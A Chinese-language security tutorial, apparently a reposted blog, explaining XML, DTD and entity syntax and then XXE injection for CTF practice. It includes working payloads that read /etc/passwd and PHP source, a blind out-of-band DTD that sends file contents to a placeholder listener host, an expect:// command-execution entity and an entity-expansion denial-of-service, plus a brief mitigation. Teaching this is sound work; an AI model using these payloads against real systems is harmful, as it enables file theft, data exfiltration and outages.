xxe即"XML外部实体注入漏洞",顾名思义,是由于XML允许引入外部实体导致的漏洞,当程序没有禁止或者对外部实体做验证,攻击者构造特殊的xml语句传到服务器,服务器在传输给XML解释器,xml解释器根据外部实体进行处理后返回对应的内容给服务器,服务器再返回给用户
XML即可扩展标记语言,是一种类似于HTML具有标签且可以使电子文件具有结构性的一种语言,xml支持合法的自定义标签,用户可随意定义标签,常用于传输数据和存储数据
DTD即文档类型定义,用于规范一个XML文档的数据类型或者文档的结构,在内部定义或者外部定义
<!--xml标记头-->
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<!--内部的dtd-->
<!DOCTYPE info [
<!ELEMENT info (user,age)>
<!ELEMENT user (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
<!--xml文档内容-->
<info>
<user>vFREE</user>
<age>19</age>
</info>
上面的内部dtd头中的内容,ELEMENT是固定的关键字 info(user,age)规定了,在info中,有user和age两个自定义的标签,且顺序要先是user,再写age user (#PCDATA)意思就是user标签中的内容是可以被解析的,下同 info就是根元素,可以理解成html的<body>标签
![图片占位-1]()
开始之前,先了解一波dtd中可以定义的数据类型
例子:<!ELEMENT 元素名 EMPTY>
例子:<!ELEMENT 元素名 PCDATA> <元素名>(中间这一部分也是可以被解析的)</元素名>
以 "<![CDATA[ " 开头,以"]]>"结尾 例子:<![CDATA[ <name>vFREE</name> ]]>
例子:<!ELEMENT 元素名 ANY>
带有子元素的字符序列 "<!ELEMENT 根元素 (元素1,元素2,元素3......)>" 例子:<!ELEMENT 根元素 (元素1,元素2,元素3......)>
必须出现一次或者多次的元素 "+" 例子:<!ELEMENT 元素名称 (子元素+)>
出现零次或者多次的元素 "*" 例子:<!ELEMENT 元素名称 (子元素*)>
必须出现零次或者一次 "?" 例子:<!ELEMENT 元素名称 (子元素?)>
内部dtd就是在XML文档中定义的dtd,用关键字DOCTYPE标记
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素 [
<!ELEMENT 元素名 (元素内容/类别)>
]>
<根元素>
xxxxxx
</根元素>
大概例子就是上面那样,使用关键字ELEMENTl来声明元素,例子如下
SYSTME关键字适用于引用系统文件夹下的dtd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 SYSTEM "xxx.dtd">
PUBLIC适用于引用外部服务器上的公共dtd文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE 根元素名 PUBLIC "外部dtd文件的url">
实体是用于定义普通文本为一个变量,用ENTITY关键字定义,实体引用则就是调用变量 引用实体用 " &实体名称; "
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
<!ENTITY name "vFREE">
<!ENTITY age "19">
]>
<info>&name;&age;</info>
<!--输出vFREE和19-->
语法:
<!ENTITY 实体名称 "实体值">
例子:
<!ENTITY name "vFREE">
<name>&name;</name>
外部实体使用SYSTEM关键字进行引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE info [
<!ENTITY user SYSTEM "http://xxx.xxx/usr.dtd">
]>
<info><user>&user;</user></info>
注意了,引用外部的dtd和引用外部的实体是不一样的,即使SYSTEM关键字一样,且无论是引用外部实体还是内部的dtd,都是要通过DOCTYPE关键字进行定义,定义实体使用ENTITY关键字,定义数据类型/类别用ELEMENT关键字
文件读取在XXE利用中是最常见的,通过加载外部实体构造恶意的payload传到xml解析器让其执行获取内容,从而造成了文件读取 其原理也是因为允许外部实体的加载,导致可以加载本地的文件
<!--这个例子是加载外部实体-->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE passwd [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<passwd>&passwd;</passwd>
<!--这里的&passwd;相当于调用变量,通过实体符号&加实体名称passwd加;即可调用,注意这里要在可回显的位置放入-->
通过构造上述的payload,如果服务器存在xxe漏洞,并且还会输出处理后的结果的话,就会输出/etc/passwd文件中的内容
参考例题:http://ctf.vfree.ltd/ 中WEB题目xxelab1
上面的file多数用于读取普通文件,如果需要读取的文件是php呢?用file协议肯定不行的,因为用file协议读取相当于调取,被调取的php文件会被执行,但是不会输出php文件的内容,包括jsp,asp等语言也是不能直接用file协议读取,这里的话,需要用到php伪协议
php://fileter/read=convert.base64-encode/resource=xxx.php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY flag SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
]>
<flag>&flag;</flag>
用file协议读取php文件
很明显,根据响应内容并没有读取到内容 用php伪协议读取php文件
将文件以base64的形式读取出来,成功读取
XXE盲注是指不会在我们传入恶意xml数据到服务器,xml解释器处理完后,不会输出我们想要的内容,此时需要通过数据外带的方式,通过在自己的服务器上开启一个监听端口,然后通过外部dtd文件访问服务器端口带上读取到的内容,这样子就可以监听到了 盲注需要用到参数实体,这里要用到%,用法差不多,多了一个%,其他的不变
<!ENTITY % 实体名称 SYSTEM "内容">
xml文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY % flag SYSTEM "http://xxxxxx/flag.dtd">
%flag;
]>
flag.dtd文件
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!--这里就是读取passwd的文件,并且将读取到的内容赋予名称为passwd实体-->
<!ENTITY % url "<!ENETITY % url2 SYSTEM 'http://xxxxx:端口/?%passwd;'>">
<!--这里的实体套了一个实体,意思就是主动访问SYSTEM后面的url,并且引用实体名称%passwd的内容-->
%url;
%url2;
<!--每个参数实体都要调用-->
这里没有环境可以练习,暂时先这样子,以后有环境再补图,嘻嘻~
命令执行的利用条件可能比较苛刻,需要支持expect协议
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE flag [
<!ENTITY flag SYSTEM "expect://id">
]>
<flag>&flag;</flag>
和引用外部实体的方法一样,不同的是,SYSTEM后面的内容是expect协议
DOS攻击的原理就是通过不断引用调用自己定义的实体,从而导致xml解析器不断循环解析同一个外部实体,造成高并发
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dos [
<!ENTITY dos1 "dosdosdosdosdosdosdosdosdosdosdosdosdosdosdosdos">
<!ENTITY dos2 "&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;&dos1;">
<!ENTITY dos3 "&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;&dos2;">
<!ENTITY dos4 "&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;&dos3;">
<!ENTITY dos5 "&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;&dos4;">
<!ENTITY dos6 "&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;&dos5;">
]>
<dos>&dos6;</dos>
大概和上面的差不多道理,通过定义dos1,然后定义dos2调用dos1,定义dos3调用dos2,然后dos2又调用dos,如此循环下去,过多的话,xml解释器就会占用过高的内存去处理
libxml_disable_entity_loader(true);
//php代码中使其成为true即可
文中只介绍了xxe的冰山一角和基础的利用方式,更多的利用方式还在冰山底下,要后面可能还会更新,欢迎大家关注丫~
$ vFREE博客 = "http://www.vfree.ltd/"
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。